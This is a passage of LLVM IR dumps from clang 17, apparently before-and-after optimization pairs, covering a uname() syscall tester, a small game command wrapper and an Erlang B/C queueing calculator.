attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp6_2xqeib.c'
source_filename = "/tmp/tmp6_2xqeib.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.utsname = type { ptr, ptr, ptr, ptr, ptr }
@.str = private unnamed_addr constant [20 x i8] c"uname(): name=0x%p\0A\00", align 1
@errno = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [12 x i8] c"\09\09ret = %d\0A\00", align 1
@.str.2 = private unnamed_addr constant [20 x i8] c"\09Succeeded Phase 1\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"\09\09sysname = %s\0A\00", align 1
@.str.4 = private unnamed_addr constant [7 x i8] c"(null)\00", align 1
@.str.5 = private unnamed_addr constant [17 x i8] c"\09\09nodename = %s\0A\00", align 1
@.str.6 = private unnamed_addr constant [16 x i8] c"\09\09release = %s\0A\00", align 1
@.str.7 = private unnamed_addr constant [16 x i8] c"\09\09version = %s\0A\00", align 1
@.str.8 = private unnamed_addr constant [16 x i8] c"\09\09machine = %s\0A\00", align 1
@.str.9 = private unnamed_addr constant [53 x i8] c"\09Failed Phase 1: returned undefined value! ret = %d\0A\00", align 1
@.str.10 = private unnamed_addr constant [43 x i8] c"Internal syscalltester error: passed = %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @uname_test(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %2, align 8
%6 = load ptr, ptr %2, align 8
%7 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %6)
%8 = call i32 @fflush(ptr noundef null)
%9 = load ptr, ptr %2, align 8
%10 = call i32 @uname(ptr noundef %9)
store i32 %10, ptr %3, align 4
%11 = call i32 @handle_gez(i32 noundef %10)
store i32 %11, ptr %5, align 4
%12 = load i32, ptr @errno, align 4
store i32 %12, ptr %4, align 4
%13 = load i32, ptr %5, align 4
switch i32 %13, label %88 [
i32 -1, label %14
i32 0, label %19
i32 -2, label %84
]
14: ; preds = %1
%15 = load i32, ptr %3, align 4
%16 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %15)
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%18 = call i32 @fflush(ptr noundef null)
br label %92
19: ; preds = %1
%20 = load ptr, ptr %2, align 8
%21 = getelementptr inbounds %struct.utsname, ptr %20, i32 0, i32 0
%22 = load ptr, ptr %21, align 8
%23 = icmp eq ptr %22, null
br i1 %23, label %24, label %25
24: ; preds = %19
br label %29
25: ; preds = %19
%26 = load ptr, ptr %2, align 8
%27 = getelementptr inbounds %struct.utsname, ptr %26, i32 0, i32 0
%28 = load ptr, ptr %27, align 8
br label %29
29: ; preds = %25, %24
%30 = phi ptr [ @.str.4, %24 ], [ %28, %25 ]
%31 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, ptr noundef %30)
%32 = load ptr, ptr %2, align 8
%33 = getelementptr inbounds %struct.utsname, ptr %32, i32 0, i32 1
%34 = load ptr, ptr %33, align 8
%35 = icmp eq ptr %34, null
br i1 %35, label %36, label %37
36: ; preds = %29
br label %41
37: ; preds = %29
%38 = load ptr, ptr %2, align 8
%39 = getelementptr inbounds %struct.utsname, ptr %38, i32 0, i32 1
%40 = load ptr, ptr %39, align 8
br label %41
41: ; preds = %37, %36
%42 = phi ptr [ @.str.4, %36 ], [ %40, %37 ]
%43 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, ptr noundef %42)
%44 = load ptr, ptr %2, align 8
%45 = getelementptr inbounds %struct.utsname, ptr %44, i32 0, i32 2
%46 = load ptr, ptr %45, align 8
%47 = icmp eq ptr %46, null
br i1 %47, label %48, label %49
48: ; preds = %41
br label %53
49: ; preds = %41
%50 = load ptr, ptr %2, align 8
%51 = getelementptr inbounds %struct.utsname, ptr %50, i32 0, i32 2
%52 = load ptr, ptr %51, align 8
br label %53
53: ; preds = %49, %48
%54 = phi ptr [ @.str.4, %48 ], [ %52, %49 ]
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, ptr noundef %54)
%56 = load ptr, ptr %2, align 8
%57 = getelementptr inbounds %struct.utsname, ptr %56, i32 0, i32 3
%58 = load ptr, ptr %57, align 8
%59 = icmp eq ptr %58, null
br i1 %59, label %60, label %61
60: ; preds = %53
br label %65
61: ; preds = %53
%62 = load ptr, ptr %2, align 8
%63 = getelementptr inbounds %struct.utsname, ptr %62, i32 0, i32 3
%64 = load ptr, ptr %63, align 8
br label %65
65: ; preds = %61, %60
%66 = phi ptr [ @.str.4, %60 ], [ %64, %61 ]
%67 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, ptr noundef %66)
%68 = load ptr, ptr %2, align 8
%69 = getelementptr inbounds %struct.utsname, ptr %68, i32 0, i32 4
%70 = load ptr, ptr %69, align 8
%71 = icmp eq ptr %70, null
br i1 %71, label %72, label %73
72: ; preds = %65
br label %77
73: ; preds = %65
%74 = load ptr, ptr %2, align 8
%75 = getelementptr inbounds %struct.utsname, ptr %74, i32 0, i32 4
%76 = load ptr, ptr %75, align 8
br label %77
77: ; preds = %73, %72
%78 = phi ptr [ @.str.4, %72 ], [ %76, %73 ]
%79 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef %78)
%80 = load i32, ptr %3, align 4
%81 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %80)
%82 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%83 = call i32 @fflush(ptr noundef null)
br label %92
84: ; preds = %1
%85 = load i32, ptr %3, align 4
%86 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, i32 noundef %85)
%87 = call i32 @fflush(ptr noundef null)
br label %92
88: ; preds = %1
%89 = load i32, ptr %5, align 4
%90 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, i32 noundef %89)
%91 = call i32 @fflush(ptr noundef null)
br label %92
92: ; preds = %88, %84, %77, %14
%93 = load i32, ptr %4, align 4
store i32 %93, ptr @errno, align 4
%94 = load i32, ptr %3, align 4
ret i32 %94
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @fflush(ptr noundef) #1
declare i32 @handle_gez(i32 noundef) #1
declare i32 @uname(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp6_2xqeib.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.utsname = type { ptr, ptr, ptr, ptr, ptr }
@.str = private unnamed_addr constant [20 x i8] c"uname(): name=0x%p\0A\00", align 1
@errno = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [12 x i8] c"\09\09ret = %d\0A\00", align 1
@.str.2 = private unnamed_addr constant [20 x i8] c"\09Succeeded Phase 1\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"\09\09sysname = %s\0A\00", align 1
@.str.4 = private unnamed_addr constant [7 x i8] c"(null)\00", align 1
@.str.5 = private unnamed_addr constant [17 x i8] c"\09\09nodename = %s\0A\00", align 1
@.str.6 = private unnamed_addr constant [16 x i8] c"\09\09release = %s\0A\00", align 1
@.str.7 = private unnamed_addr constant [16 x i8] c"\09\09version = %s\0A\00", align 1
@.str.8 = private unnamed_addr constant [16 x i8] c"\09\09machine = %s\0A\00", align 1
@.str.9 = private unnamed_addr constant [53 x i8] c"\09Failed Phase 1: returned undefined value! ret = %d\0A\00", align 1
@.str.10 = private unnamed_addr constant [43 x i8] c"Internal syscalltester error: passed = %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @uname_test(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %2, align 8
%6 = load ptr, ptr %2, align 8
%7 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %6)
%8 = call i32 @fflush(ptr noundef null)
%9 = load ptr, ptr %2, align 8
%10 = call i32 @uname(ptr noundef %9)
store i32 %10, ptr %3, align 4
%11 = call i32 @handle_gez(i32 noundef %10)
store i32 %11, ptr %5, align 4
%12 = load i32, ptr @errno, align 4
store i32 %12, ptr %4, align 4
%13 = load i32, ptr %5, align 4
switch i32 %13, label %88 [
i32 -1, label %14
i32 0, label %19
i32 -2, label %84
]
14: ; preds = %1
%15 = load i32, ptr %3, align 4
%16 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %15)
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%18 = call i32 @fflush(ptr noundef null)
br label %92
19: ; preds = %1
%20 = load ptr, ptr %2, align 8
%21 = getelementptr inbounds %struct.utsname, ptr %20, i32 0, i32 0
%22 = load ptr, ptr %21, align 8
%23 = icmp eq ptr %22, null
br i1 %23, label %24, label %25
24: ; preds = %19
br label %29
25: ; preds = %19
%26 = load ptr, ptr %2, align 8
%27 = getelementptr inbounds %struct.utsname, ptr %26, i32 0, i32 0
%28 = load ptr, ptr %27, align 8
br label %29
29: ; preds = %25, %24
%30 = phi ptr [ @.str.4, %24 ], [ %28, %25 ]
%31 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, ptr noundef %30)
%32 = load ptr, ptr %2, align 8
%33 = getelementptr inbounds %struct.utsname, ptr %32, i32 0, i32 1
%34 = load ptr, ptr %33, align 8
%35 = icmp eq ptr %34, null
br i1 %35, label %36, label %37
36: ; preds = %29
br label %41
37: ; preds = %29
%38 = load ptr, ptr %2, align 8
%39 = getelementptr inbounds %struct.utsname, ptr %38, i32 0, i32 1
%40 = load ptr, ptr %39, align 8
br label %41
41: ; preds = %37, %36
%42 = phi ptr [ @.str.4, %36 ], [ %40, %37 ]
%43 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, ptr noundef %42)
%44 = load ptr, ptr %2, align 8
%45 = getelementptr inbounds %struct.utsname, ptr %44, i32 0, i32 2
%46 = load ptr, ptr %45, align 8
%47 = icmp eq ptr %46, null
br i1 %47, label %48, label %49
48: ; preds = %41
br label %53
49: ; preds = %41
%50 = load ptr, ptr %2, align 8
%51 = getelementptr inbounds %struct.utsname, ptr %50, i32 0, i32 2
%52 = load ptr, ptr %51, align 8
br label %53
53: ; preds = %49, %48
%54 = phi ptr [ @.str.4, %48 ], [ %52, %49 ]
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, ptr noundef %54)
%56 = load ptr, ptr %2, align 8
%57 = getelementptr inbounds %struct.utsname, ptr %56, i32 0, i32 3
%58 = load ptr, ptr %57, align 8
%59 = icmp eq ptr %58, null
br i1 %59, label %60, label %61
60: ; preds = %53
br label %65
61: ; preds = %53
%62 = load ptr, ptr %2, align 8
%63 = getelementptr inbounds %struct.utsname, ptr %62, i32 0, i32 3
%64 = load ptr, ptr %63, align 8
br label %65
65: ; preds = %61, %60
%66 = phi ptr [ @.str.4, %60 ], [ %64, %61 ]
%67 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, ptr noundef %66)
%68 = load ptr, ptr %2, align 8
%69 = getelementptr inbounds %struct.utsname, ptr %68, i32 0, i32 4
%70 = load ptr, ptr %69, align 8
%71 = icmp eq ptr %70, null
br i1 %71, label %72, label %73
72: ; preds = %65
br label %77
73: ; preds = %65
%74 = load ptr, ptr %2, align 8
%75 = getelementptr inbounds %struct.utsname, ptr %74, i32 0, i32 4
%76 = load ptr, ptr %75, align 8
br label %77
77: ; preds = %73, %72
%78 = phi ptr [ @.str.4, %72 ], [ %76, %73 ]
%79 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef %78)
%80 = load i32, ptr %3, align 4
%81 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %80)
%82 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%83 = call i32 @fflush(ptr noundef null)
br label %92
84: ; preds = %1
%85 = load i32, ptr %3, align 4
%86 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, i32 noundef %85)
%87 = call i32 @fflush(ptr noundef null)
br label %92
88: ; preds = %1
%89 = load i32, ptr %5, align 4
%90 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, i32 noundef %89)
%91 = call i32 @fflush(ptr noundef null)
br label %92
92: ; preds = %88, %84, %77, %14
%93 = load i32, ptr %4, align 4
store i32 %93, ptr @errno, align 4
%94 = load i32, ptr %3, align 4
ret i32 %94
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @fflush(ptr noundef) #1
declare i32 @handle_gez(i32 noundef) #1
declare i32 @uname(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpl0ovfmjk.c'
source_filename = "/tmp/tmpl0ovfmjk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cmd_gmelee(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%5 = load ptr, ptr %4, align 8
%6 = call i32 @player_attacks(ptr noundef %5, i32 noundef 1)
ret void
}
declare i32 @player_attacks(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpl0ovfmjk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cmd_gmelee(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%5 = load ptr, ptr %4, align 8
%6 = call i32 @player_attacks(ptr noundef %5, i32 noundef 1)
ret void
}
declare i32 @player_attacks(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpnvxkshbu.c'
source_filename = "/tmp/tmpnvxkshbu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [27 x i8] c"Usage: %s servers traffic\0A\00", align 1
@.str.1 = private unnamed_addr constant [40 x i8] c"NOTE:Per server load = traffic/servers\0A\00", align 1
@.str.2 = private unnamed_addr constant [21 x i8] c" %ld Server System\0A\00", align 1
@.str.3 = private unnamed_addr constant [21 x i8] c" -----------------\0A\00", align 1
@.str.4 = private unnamed_addr constant [30 x i8] c" Traffic intensity: %5.5lf\0A\00", align 1
@.str.5 = private unnamed_addr constant [30 x i8] c" Server utilization: %5.5lf\0A\00", align 1
@.str.6 = private unnamed_addr constant [4 x i8] c" \0A\00", align 1
@.str.7 = private unnamed_addr constant [34 x i8] c" Erlang B (loss prob): %5.5lf\0A\00", align 1
@.str.8 = private unnamed_addr constant [34 x i8] c" Erlang C (queue prob): %5.5lf\0A\00", align 1
@.str.9 = private unnamed_addr constant [34 x i8] c" M/M/m Normalized RT: %5.5lf\0A\00", align 1
@.str.10 = private unnamed_addr constant [34 x i8] c" M/M/m No. in System: %5.5lf\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca double, align 8
%7 = alloca double, align 8
%8 = alloca double, align 8
%9 = alloca double, align 8
%10 = alloca double, align 8
%11 = alloca double, align 8
%12 = alloca double, align 8
%13 = alloca i64, align 8
%14 = alloca i64, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%15 = load i32, ptr %4, align 4
%16 = icmp slt i32 %15, 3
br i1 %16, label %17, label %24
17: ; preds = %2
%18 = load ptr, ptr %5, align 8
%19 = getelementptr inbounds ptr, ptr %18, i64 0
%20 = load ptr, ptr %19, align 8
%21 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %20)
%22 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
%23 = call i32 @exit(i32 noundef 1) #4
unreachable
24: ; preds = %2
%25 = load ptr, ptr %5, align 8
%26 = getelementptr inbounds ptr, ptr %25, i32 1
store ptr %26, ptr %5, align 8
%27 = load ptr, ptr %26, align 8
%28 = call i64 @atol(ptr noundef %27)
store i64 %28, ptr %14, align 8
%29 = load ptr, ptr %5, align 8
%30 = getelementptr inbounds ptr, ptr %29, i32 1
store ptr %30, ptr %5, align 8
%31 = load ptr, ptr %30, align 8
%32 = call double @atof(ptr noundef %31)
store double %32, ptr %8, align 8
%33 = load double, ptr %8, align 8
%34 = load i64, ptr %14, align 8
%35 = sitofp i64 %34 to double
%36 = fdiv double %33, %35
store double %36, ptr %10, align 8
%37 = load double, ptr %8, align 8
%38 = load double, ptr %8, align 8
%39 = fadd double 1.000000e+00, %38
%40 = fdiv double %37, %39
store double %40, ptr %6, align 8
store i64 2, ptr %13, align 8
br label %41
41: ; preds = %56, %24
%42 = load i64, ptr %13, align 8
%43 = load i64, ptr %14, align 8
%44 = icmp sle i64 %42, %43
br i1 %44, label %45, label %59
45: ; preds = %41
%46 = load double, ptr %6, align 8
store double %46, ptr %9, align 8
%47 = load double, ptr %9, align 8
%48 = load double, ptr %8, align 8
%49 = fmul double %47, %48
%50 = load i64, ptr %13, align 8
%51 = sitofp i64 %50 to double
%52 = load double, ptr %9, align 8
%53 = load double, ptr %8, align 8
%54 = call double @llvm.fmuladd.f64(double %52, double %53, double %51)
%55 = fdiv double %49, %54
store double %55, ptr %6, align 8
br label %56
56: ; preds = %45
%57 = load i64, ptr %13, align 8
%58 = add nsw i64 %57, 1
store i64 %58, ptr %13, align 8
br label %41, !llvm.loop !6
59: ; preds = %41
%60 = load double, ptr %6, align 8
%61 = load double, ptr %10, align 8
%62 = fsub double 1.000000e+00, %61
%63 = load double, ptr %10, align 8
%64 = load double, ptr %6, align 8
%65 = call double @llvm.fmuladd.f64(double %63, double %64, double %62)
%66 = fdiv double %60, %65
store double %66, ptr %7, align 8
%67 = load double, ptr %7, align 8
%68 = load i64, ptr %14, align 8
%69 = sitofp i64 %68 to double
%70 = load double, ptr %10, align 8
%71 = fsub double 1.000000e+00, %70
%72 = fmul double %69, %71
%73 = fdiv double %67, %72
%74 = fadd double 1.000000e+00, %73
store double %74, ptr %11, align 8
%75 = load double, ptr %8, align 8
%76 = load double, ptr %11, align 8
%77 = fmul double %75, %76
store double %77, ptr %12, align 8
%78 = load i64, ptr %14, align 8
%79 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i64 noundef %78)
%80 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%81 = load double, ptr %8, align 8
%82 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, double noundef %81)
%83 = load double, ptr %10, align 8
%84 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, double noundef %83)
%85 = call i32 (ptr, ...) @printf(ptr noundef @.str.6)
%86 = load double, ptr %6, align 8
%87 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, double noundef %86)
%88 = load double, ptr %7, align 8
%89 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, double noundef %88)
%90 = load double, ptr %11, align 8
%91 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, double noundef %90)
%92 = load double, ptr %12, align 8
%93 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, double noundef %92)
%94 = load i32, ptr %3, align 4
ret i32 %94
}
declare i32 @printf(ptr noundef, ...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i64 @atol(ptr noundef) #1
declare double @atof(ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #4 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpnvxkshbu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [27 x i8] c"Usage: %s servers traffic\0A\00", align 1
@.str.1 = private unnamed_addr constant [40 x i8] c"NOTE:Per server load = traffic/servers\0A\00", align 1
@.str.2 = private unnamed_addr constant [21 x i8] c" %ld Server System\0A\00", align 1
@.str.3 = private unnamed_addr constant [21 x i8] c" -----------------\0A\00", align 1
@.str.4 = private unnamed_addr constant [30 x i8] c" Traffic intensity: %5.5lf\0A\00", align 1
@.str.5 = private unnamed_addr constant [30 x i8] c" Server utilization: %5.5lf\0A\00", align 1
@.str.6 = private unnamed_addr constant [4 x i8] c" \0A\00", align 1
@.str.7 = private unnamed_addr constant [34 x i8] c" Erlang B (loss prob): %5.5lf\0A\00", align 1
@.str.8 = private unnamed_addr constant [34 x i8] c" Erlang C (queue prob): %5.5lf\0A\00", align 1
@.str.9 = private unnamed_addr constant [34 x i8] c" M/M/m Normalized RT: %5.5lf\0A\00", align 1
@.str.10 = private unnamed_addr constant [34 x i8] c" M/M/m No. in System: %5.5lf\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca double, align 8
%7 = alloca double, align 8
%8 = alloca double, align 8
%9 = alloca double, align 8
%10 = alloca double, align 8
%11 = alloca double, align 8
%12 = alloca double, align 8
%13 = alloca i64, align 8
%14 = alloca i64, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%15 = load i32, ptr %4, align 4
%16 = icmp slt i32 %15, 3
br i1 %16, label %17, label %24
17: ; preds = %2
%18 = load ptr, ptr %5, align 8
%19 = getelementptr inbounds ptr, ptr %18, i64 0
%20 = load ptr, ptr %19, align 8
%21 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %20)
%22 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
%23 = call i32 @exit(i32 noundef 1) #4
unreachable
24: ; preds = %2
%25 = load ptr, ptr %5, align 8
%26 = getelementptr inbounds ptr, ptr %25, i32 1
store ptr %26, ptr %5, align 8
%27 = load ptr, ptr %26, align 8
%28 = call i64 @atol(ptr noundef %27)
store i64 %28, ptr %14, align 8
%29 = load ptr, ptr %5, align 8
%30 = getelementptr inbounds ptr, ptr %29, i32 1
store ptr %30, ptr %5, align 8
%31 = load ptr, ptr %30, align 8
%32 = call double @atof(ptr noundef %31)
store double %32, ptr %8, align 8
%33 = load double, ptr %8, align 8
%34 = load i64, ptr %14, align 8
%35 = sitofp i64 %34 to double
%36 = fdiv double %33, %35
store double %36, ptr %10, align 8
%37 = load double, ptr %8, align 8
%38 = load double, ptr %8, align 8
%39 = fadd double 1.000000e+00, %38
%40 = fdiv double %37, %39
store double %40, ptr %6, align 8
store i64 2, ptr %13, align 8
%41 = load i64, ptr %13, align 8
%42 = load i64, ptr %14, align 8
%43 = icmp sle i64 %41, %42
br i1 %43, label %.lr.ph, label %61
.lr.ph: ; preds = %24
br label %44
44: ; preds = %.lr.ph, %55
%45 = load double, ptr %6, align 8
store double %45, ptr %9, align 8
%46 = load double, ptr %9, align 8
%47 = load double, ptr %8, align 8
%48 = fmul double %46, %47
%49 = load i64, ptr %13, align 8
%50 = sitofp i64 %49 to double
%51 = load double, ptr %9, align 8
%52 = load double, ptr %8, align 8
%53 = call double @llvm.fmuladd.f64(double %51, double %52, double %50)
%54 = fdiv double %48, %53
store double %54, ptr %6, align 8
br label %55
55: ; preds = %44
%56 = load i64, ptr %13, align 8
%57 = add nsw i64 %56, 1
store i64 %57, ptr %13, align 8
%58 = load i64, ptr %13, align 8
%59 = load i64, ptr %14, align 8
%60 = icmp sle i64 %58, %59
br i1 %60, label %44, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %55
br label %61
61: ; preds = %._crit_edge, %24
%62 = load double, ptr %6, align 8
%63 = load double, ptr %10, align 8
%64 = fsub double 1.000000e+00, %63
